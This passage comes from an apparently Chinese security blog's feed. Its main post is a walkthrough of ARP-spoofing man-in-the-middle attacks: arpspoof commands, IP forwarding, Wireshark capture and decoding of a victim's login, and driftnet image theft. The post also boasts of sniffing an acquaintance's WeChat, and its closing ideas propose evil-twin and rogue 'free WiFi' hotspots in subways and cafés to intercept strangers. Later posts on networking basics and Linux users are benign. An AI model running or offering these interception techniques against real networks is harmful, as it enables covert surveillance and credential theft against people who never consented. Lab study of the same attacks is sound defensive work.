#这两款都是工具包，我们主要用到dsniff工具包里面的某一款工具--arpspoof
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1、攻击指令&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;arpspoof -i eth0 -t 192.168.10.129（目标ip地址） 192.168.10.2（目标网关）
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、攻击效果&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;PC端&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;IP地址:192.168.23.129&lt;/p&gt;
&lt;p&gt;网关:192.168.23.2&lt;/p&gt;
&lt;p&gt;先尝试与kali-Linux能不能互ping&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ping 192.168.23.138
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/1aed4a1bd3-image-20231209155351999.png&quot; alt=&quot;image-20231209155351999&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;再对百度持续ping一下，方便之后展示断网攻击&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ping www.baidu.com -t
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/e271e54f7e-image-20231209154833922.png&quot; alt=&quot;image-20231209154833922&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;kali-Linux&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;IP地址:192.168.23.138&lt;/p&gt;
&lt;p&gt;网关:192.168.23.2&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;攻击格式:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;arpspoof -i eth0 -t xxx.xxx.xxx.xxx（目标ip地址） xxx.xxx.xxx.xxx（目标网关）

-i:指定网卡

-t:指定网关和要攻击的对象
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;攻击命令:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;arpspoof -i eth0 -t 192.168.23.129 192.168.23.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/bd89bcacaa-image-20231209155809408.png&quot; alt=&quot;image-20231209155809408&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;查看PC端&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/b6aac2d3d9-image-20231209155840608.png&quot; alt=&quot;image-20231209155840608&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现PC端无法ping通百度，请求超时&lt;/p&gt;
&lt;p&gt;那我们kali取消攻击再看看PC端&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/160bbef549-image-20231209155930065.png&quot; alt=&quot;image-20231209155930065&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/7f498dc46d-image-20231209155941479.png&quot; alt=&quot;image-20231209155941479&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到恢复了一个正常的联网&lt;/p&gt;
&lt;h3&gt;5、流量转发&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;在之前断网攻击的基础上，我们可以将对方电脑的数据包先通过我们再转发到互联网，实现一个监听获取数据的效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/13502474b5-image-20231209160142889.png&quot; alt=&quot;image-20231209160142889&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	发起arp攻击，让它以为我们的地址是网关地址，它上面的那条就是不通的了，也就是不走原本的出口网关访问云了，它的数据就会往我们这边走，在我们开启转发了之后，我们的链路还会往上多一条出网的链路，帮它的流量往出网的方向走，就是相当于它把我们当成网关，然后数据发给我们，然后我们自己再帮它们访问网关，然后访问到云上面去，也就是它现在要上网得先经过我们这一层才可以，自己成代理&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#kali开两个命令窗口

arpspoof -i eth0 -t 192.168.23.129 192.168.23.2
#其中一个窗口先对其进行arp欺骗攻击

echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
#另一个窗口将流量转发到公网上

cat /proc/sys/net/ipv4/ip_forward
#回显1代表开启转发，0代表关闭
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里以Windows10为被攻击机：&lt;/p&gt;
&lt;p&gt;IP	192.168.23.129&lt;/p&gt;
&lt;p&gt;kali：&lt;/p&gt;
&lt;p&gt;IP	192.168.23.138&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/f54a2533eb-image-20231209163048171.png&quot; alt=&quot;image-20231209163048171&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/5c1af15fc2-image-20231209162912015.png&quot; alt=&quot;image-20231209162912015&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;那此时我们就可以获取被攻击机的浏览记录&lt;/p&gt;
&lt;p&gt;但是当被攻击机访问的是https，它的浏览其实加密的，我们获取不到数据包的信息&lt;/p&gt;
&lt;p&gt;那我们先在PC端访问一个https的网站&lt;/p&gt;
&lt;p&gt;https://www.gov.cn/&lt;/p&gt;
&lt;p&gt;用wireshark抓包看看，eth0网卡&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/d41d328886-image-20231209163709825.png&quot; alt=&quot;image-20231209163709825&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到大量的来自192.168.129的地址的发包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#我们在最上方进行一个指定发送方的搜索

ip.src==192.168.23.129 and tcp contains &quot;gov&quot;

#搜索tcp连接包含gov的信息
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;src是指定发送方

譬如:ip.src==xxx.xxx.xxx.xxx

dst是指定接收方

譬如:ip.dst==xxx.xxx.xxx.xxx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/2ff320ae4c-image-20231209164745994.png&quot; alt=&quot;image-20231209164745994&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到这里全部都包含了一个gov的数据&lt;/p&gt;
&lt;p&gt;顺便点一条去追踪一下它的TCP流(TCP Stream)，去看一下它的访问效果&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/e555ef18d8-image-20231209165305756.png&quot; alt=&quot;image-20231209165305756&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/2a22fc9d1d-image-20231209170002270.png&quot; alt=&quot;image-20231209170002270&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;追踪完流的时候这个窗口有可能在后面不会显示出来&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;红色是源到目的地；蓝色反之；&lt;/p&gt;
&lt;p&gt;可以看到这个tcp流都是加密的嘛&lt;/p&gt;
&lt;p&gt;那我们在pc端访问一下http的网站，没有加密的&lt;/p&gt;
&lt;p&gt;http://62.234.58.155/#/login&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#我们在最上方进行一个指定发送方的搜索，先把之前的消息全部清空掉，点击左上角的绿色

ip.src==192.168.23.129 and http

#搜索http协议
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/2685925999-image-20231209170518955.png&quot; alt=&quot;image-20231209170518955&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/4c63a596e9-image-20231209170846214.png&quot; alt=&quot;image-20231209170846214&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;我们在pc端输个账户密码&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/6a660c54ec-image-20231209171056538.png&quot; alt=&quot;image-20231209171056538&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;和之前的步骤一样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#我们在最上方进行一个指定发送方的搜索

ip.src==192.168.23.129 and http

点击其中的一个包追踪一下它的tcp流
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/2c78722550-image-20231209171830758.png&quot; alt=&quot;image-20231209171830758&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到刚才pc端输入的账户密码都在这个数据包里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;userName: WVdGaEpUTkJZMk5qWXc9PQ==

userPass: MzAwNA==

#很简单的base64加密，我们通过解密看看
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/8c99f72ad0-image-20231209172810414.png&quot; alt=&quot;image-20231209172810414&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/96af1a8c53-image-20231209172819023.png&quot; alt=&quot;image-20231209172819023&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里的userName经过两次的base64解密可以得到账号密码(也可以扔到BP让它自动解码)，userPass存放的不是真的密码，这里不看，所以https还是非常重要的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;之前经过测试可以发现在ipad上面跑微信朋友圈，微信朋友圈的图片是可以被抓下来的，也就是微信朋友圈用的是http协议，可以打舍U的手机看他朋友圈，现在朋友圈是否还是http协议未知，现在的手机/移动设备多多少少都会自带一点防arp的效果，但是之前在ipad上试成功了，反正基本上没有加密的协议都能看，而且一览无余
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6、图片抓取&lt;/h3&gt;
&lt;p&gt;这里就要用到我们刚才下载的另一款工具---&lt;strong&gt;driftnet&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;1)简介&lt;/h5&gt;
&lt;p&gt;一款监听截图工具&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原理&lt;/strong&gt;就是图片有固定格式的数据，这块工具就是把数据保存下来转化成图片而已&lt;/p&gt;
&lt;h5&gt;2)参数&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;-b 				  捕获到新的图片时发出嘟嘟声

-i  interface     选择监听网卡接口

-f  file   		  读取一个指定pcap数据包中的图片

-p                不让所监听的接口使用混杂模式

-a                后台模式：将捕获的图片保存到目录中（不会显示在屏幕上）

-m number         指定保存图片数的数目

-d directory      指定保存图片的路径

-x prefix         指定保存图片的前缀名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常用参数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-i 		指定网卡

-d 		指定保存图片路径

-i		关闭捕获图片时发出嘟嘟声
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3)用法&lt;/h5&gt;
&lt;p&gt;这块工具用法很简单，还是需要结合之前的攻击进行使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kali开两个命令窗口

arpspoof -t 192.168.241.133 192.168.241.2 -i eth0
#其中一个输入这行命令

echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward

driftnet -i eth0
#另一个窗口输入这两个命令，driftnet会弹出一个小窗口用于捕获图片，并不能一定捕获，还是得看脸的

#得找一些没有加密的图片，也就是在http网站上的，才能加载的出来，但并不一定就是说https没办法抓，因为图片是有个图片地址的，有可能网站地址是https图片地址是http
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/d29b83a9d2-image-20231209173755320.png&quot; alt=&quot;image-20231209173755320&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里由于我自己抓不到，就放一个抓取成功的网图放在这里了&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/03c476fb27-image-20231209185917341.png&quot; alt=&quot;image-20231209185917341&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/5140dd40e5-image-20231209185904806.png&quot; alt=&quot;image-20231209185904806&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;总结:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	&lt;strong&gt;有其他工具可以平替，实战用处不高，但是在近源渗透或者在侦探业务可以用得上&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;7、课后思路扩展(近源渗透)&lt;/h3&gt;
&lt;p&gt;​	之前arp欺骗攻击提到让别人以为我们是网关，那我们有没有可能直接是网关呢？&lt;/p&gt;
&lt;p&gt;dos=&amp;gt;WiFi(把人家wifi设备打崩自己起一个WiFi，跟它WiFi的名字一样,密码不用设置，让别人来连，它的数据就全往你这里走了，然后做一个监听，把监听全部保存下来就行了)&lt;/p&gt;
&lt;p&gt;如果有机会做到公司的运营，可以在公司出口网关去做一个监听，相当精彩&lt;/p&gt;
&lt;p&gt;还有一种方法就是给路由旁挂一些东西上去也可以&lt;/p&gt;
&lt;p&gt;这些就相当于上网行为管理，原理差不多&lt;/p&gt;
&lt;p&gt;还有一种玩法就是在外面人多的地方起一个WiFi，推荐大菠萝WiFi，不是很贵，百来块买一个，就会起一个WiFi信号&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/fb2fbf669f-image-20231209194200513.png&quot; alt=&quot;image-20231209194200513&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;然后就可以拿着这个WiFi到处跑，跑地铁站或者人多的地方，然后去给它去一个名字(ChinaNet-CJAP)，不要设置密码，或者说我在坐地铁二号线，名字就叫地铁二号线公共WiFi，不要设置密码，当然这么设置会比较危险，有可能会看见警察在车上走来走去的，或者就叫做星巴克免费WiFi，反正就这么一个思路，别人连上就相当于直接裸奔，近源渗透的神器&lt;/p&gt;
&lt;p&gt;渗透的时候把WiFi放在要渗透方的一边，也可以&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;无人机打法&lt;/strong&gt;=&amp;gt;无人机飞蓝队里面看蓝队屏幕，无人机在甲方上面盘旋&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;电磁脉冲(EMP)打法&lt;/strong&gt;=&amp;gt;用无人机或者穿越机(飞的很快的那种)给蓝队/甲方来一个电磁炸弹，让对方设备全部都用不了，赢！&lt;/p&gt;
</content:encoded></item><item><title>计算机网络基础</title><link>https://wangyi187.top/posts/xcna-network-basics/</link><guid isPermaLink="true">https://wangyi187.top/posts/xcna-network-basics/</guid><description>计算机网络基础 课程大纲 1、网络通信介绍 2、计算机网络介绍 3、网络类型与网络拓扑 4、网络标准化组织 1、网络通信介绍 通信是指人与人、人与物、物与物之间通过某种媒介或渠道进</description><pubDate>Fri, 13 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;计算机网络基础&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;课程大纲&lt;/h2&gt;
&lt;p&gt;1、网络通信介绍&lt;/p&gt;
&lt;p&gt;2、计算机网络介绍&lt;/p&gt;
&lt;p&gt;3、网络类型与网络拓扑&lt;/p&gt;
&lt;p&gt;4、网络标准化组织&lt;/p&gt;
&lt;h2&gt;1、网络通信介绍&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;通信是指人与人、人与物、物与物之间通过某种媒介或渠道进行信息传递与交流&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;网络通信&lt;/code&gt;是指终端设备之间通过计算机网络进行的通信&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409111554689.png&quot; alt=&quot;image-20240911155416561&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;信息传递过程&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;虚拟的信息传递与真实的物品传递过程有许多相似之处。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409111559352.png&quot; alt=&quot;image-20240911155932278&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;这是一个封装和解封装的流程
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;什么是计算机网络&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;所有终端设备互连的集合&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409120958571.png&quot; alt=&quot;image-20240912095839488&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;计算机网络的基本功能&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;数据通信&lt;/li&gt;
&lt;li&gt;资源共享(分为硬件共享、软件共享、数据共享)&lt;/li&gt;
&lt;li&gt;分布式处理&lt;/li&gt;
&lt;li&gt;负载均衡&lt;/li&gt;
&lt;li&gt;综合信息服务&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;计算机网络的物理组件&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;一个完整的计算机网络主要由&lt;strong&gt;硬件、软件和协议&lt;/strong&gt;三大部分组成。&lt;/li&gt;
&lt;li&gt;硬件方面主要由路由器、交换机、防火墙、无线控制器、无线接入点、以及个人电脑、网络打印机、服务器等设备构成。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409121033248.png&quot; alt=&quot;image-20240912103348206&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;网络设备&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;防火墙：主要用于内部网络(家庭网络、企业网络)与互联网的交互提供安全保障&lt;/li&gt;
&lt;li&gt;路由器：主要用于转发数据包&lt;/li&gt;
&lt;li&gt;交换机：主要用于接入终端设备、提供数据帧的交换&lt;/li&gt;
&lt;li&gt;无线设备：
&lt;ul&gt;
&lt;li&gt;AP：无线接入点(发送无线信号、实际意义上介入终端设备)
&lt;ul&gt;
&lt;li&gt;胖AP：集成AP和AC的所有功能(家用路由器)&lt;/li&gt;
&lt;li&gt;瘦AP：发送无线信号、实际意义上介入终端设备&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AC：无线控制器(控制无线设备)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;终端设备：手机、电脑、移动设备、打印机&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;网络设备-路由器&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;路由器：网络层设备，可以在因特网中进行数据报文(数据包)的转发。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;路由器的功能&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;隔离广播域&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;维护路由表&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;转发数据包&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409121049690.png&quot; alt=&quot;image-20240912104955644&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;广播域：广播数据包能到的范围&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;网络设备-交换机&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;交换机：距离终端用户最近的设备，用于终端用户接入网络、对&lt;code&gt;数据帧&lt;/code&gt;进行交互等。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;交换机的功能&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;终端设备接入&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据帧的交换&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409121132380.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;网络设备-防火墙&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;防火墙：网络安全设备，用于控制两个网络之间的安全通信。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;防火墙的功能&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;访问控制&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据加密&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;身份认证&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;防火墙的区域划分:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Trust&lt;/li&gt;
&lt;li&gt;Untrust&lt;/li&gt;
&lt;li&gt;Local&lt;/li&gt;
&lt;li&gt;DMZ(主要用于连接内部服务器集群)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409121132121.png&quot; alt=&quot;image-20240912113229088&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;网络设备-无线设备&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;无线设备：通过无线电信号，组建起一张看不见的网络。&lt;/li&gt;
&lt;li&gt;无线设备的功能
&lt;ul&gt;
&lt;li&gt;实现终端设备无线网络接入&lt;/li&gt;
&lt;li&gt;二层交换&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409121141580.png&quot; alt=&quot;image-20240912114151517&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;计算机网络的类型&lt;/h3&gt;
&lt;p&gt;LAN:局域网(校园网、家庭网络\企业网等)&lt;/p&gt;
&lt;p&gt;MAN:城域网(连接大范围的局域网、类似于福州市的整个网络)&lt;/p&gt;
&lt;p&gt;WAN：广域网(全球最大的广域网--互联网Internet)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409131735584.png&quot; alt=&quot;image-20240913173549530&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409131736753.png&quot; alt=&quot;image-20240913173610712&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;计算机网络的拓扑类型&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;主流的是综合型组网&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409131739095.png&quot; alt=&quot;image-20240913173955048&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409131753221.png&quot; alt=&quot;image-20240913175310159&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;网络标准化组织&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202409131755459.png&quot; alt=&quot;image-20240913175520415&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Linux 用户和组管理</title><link>https://wangyi187.top/posts/os-11-linux-users/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-11-linux-users/</guid><description>Linux用户和组 1 用户 1.1 用户分类 1.2 用户信息文件 271489356 /etc/passwd 用户信息文件 存放用户信息，所有用户可读，不安全 1.3 用户密码</description><pubDate>Tue, 30 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux用户和组&lt;/h1&gt;
&lt;h2&gt;1 用户&lt;/h2&gt;
&lt;h3&gt;1.1 用户分类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;超级用户：
UID=0，默认为root

普通用户：
UID=1000 - 60000
可以登录系统，权限比管理员低，只能对自己目录下的文件进行访问和修改

伪(系统)用户：
UID=1-999
不能登录系统，与系统与程序服务相关
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 用户信息文件 271489356&lt;/h3&gt;
&lt;h4&gt;/etc/passwd ---- 用户信息文件&lt;/h4&gt;
&lt;p&gt;存放用户信息，所有用户可读，不安全&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zyl:x:1000:1000:zyl:/home/zyl:/bin/bash
 1  2  3    4    5     6          7

1：用户名
2：密码位（已废弃），保存在/etc/shadow  
3：UID：用户标识号
4：GID：缺省组标识号
- 先有组再有用户
5：用户信息记录字段（备注）
6：家目录，用户登录系统后的缺省目录
7：用户使用的shell，默认是/bin/bash（命令解释器）
	/sbin/nologin为伪用户
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 用户密码信息文件&lt;/h3&gt;
&lt;h4&gt;/etc/shadow --- 密码信息文件&lt;/h4&gt;
&lt;p&gt;存放用户密码相关新信息，只有root用户可读，其他用户没有任何权限。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zyl: $6$AzhZ6Kh..... : : 0 : 99999 : 7 : :  : 
 1       2			  3  4     5	 6  7  8  9

1：用户名
2：加密后的密码。$6：SHA-512加密。$1：md5加密。$5：SHA-256加密
- !! ①只有两个!! -- 当前是没有设置密码 不能正常登录并被禁用 ②加密密码前面有!!  --- 当前这个用户禁用了
3：最后一次修改密码时间，从1970.1.1开始计算
4：最小修改密码时间间隔。0代表可以随时修改
5：密码有效期。默认99999天，相当于永久。
6：密码需要更改前的警告天数。默认为7天。
7：密码过期后的宽限天数
- 0：密码过期后，账户立马被停用
- -1：密码永不失效
8：账户失效时间
9：保留位
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 用户命令操作&lt;/h3&gt;
&lt;h4&gt;useradd&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;useradd [参数] [用户名]
选项：
-u（UID）：手工指定用户ID
-d [家目录]：手工指定用户的家目录
-M：不创建家目录
-c [用户说明]：手工指定的用户说明（用户备注信息）
-g [组名]：手工指定用户的初始组
-G [组名]：指定用户的附属组
-s（shell）：手工指定用户的登录shell。默认是/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;userdel&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;userdel [-r] 用户名   //删除用户
-r 连带家目录同时删除
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;passwd&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;passwd [选项] [用户名]
选项：
-S：查询用户密码的密码状态，仅root用户可用
-l：暂时锁定用户，仅root用户可用
-u：解锁用户，仅root用户可用
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;usermod&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;usermod [选项] [用户名]
选项：
-u（UID）修改用户的UID号
-c（用户说明）修改用户的说明信息
-G（组名）修改用户的附属组
-L（Lock）临时锁定用户
-U（Unlock）解锁用户锁定
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;chage&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;chage [选项] [用户名]
选项：
-d (日期) 修改密码最后一次更改日期(shadow[3]字段)
-m(天数) 两次密码修改间隔(shadow[4]字段)
-M(天数) 密码有效期(shadow[5]字段)
-W(天数) 密码过期前的警告天数(shadow[6]字段)
-I (天数) 密码过期后宽限天数(shadow[7]字段)
-E (日期) 账号失效时间(shadow[8]字段)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;id 用户名  //查看用户信息
whoami //查看当前用户
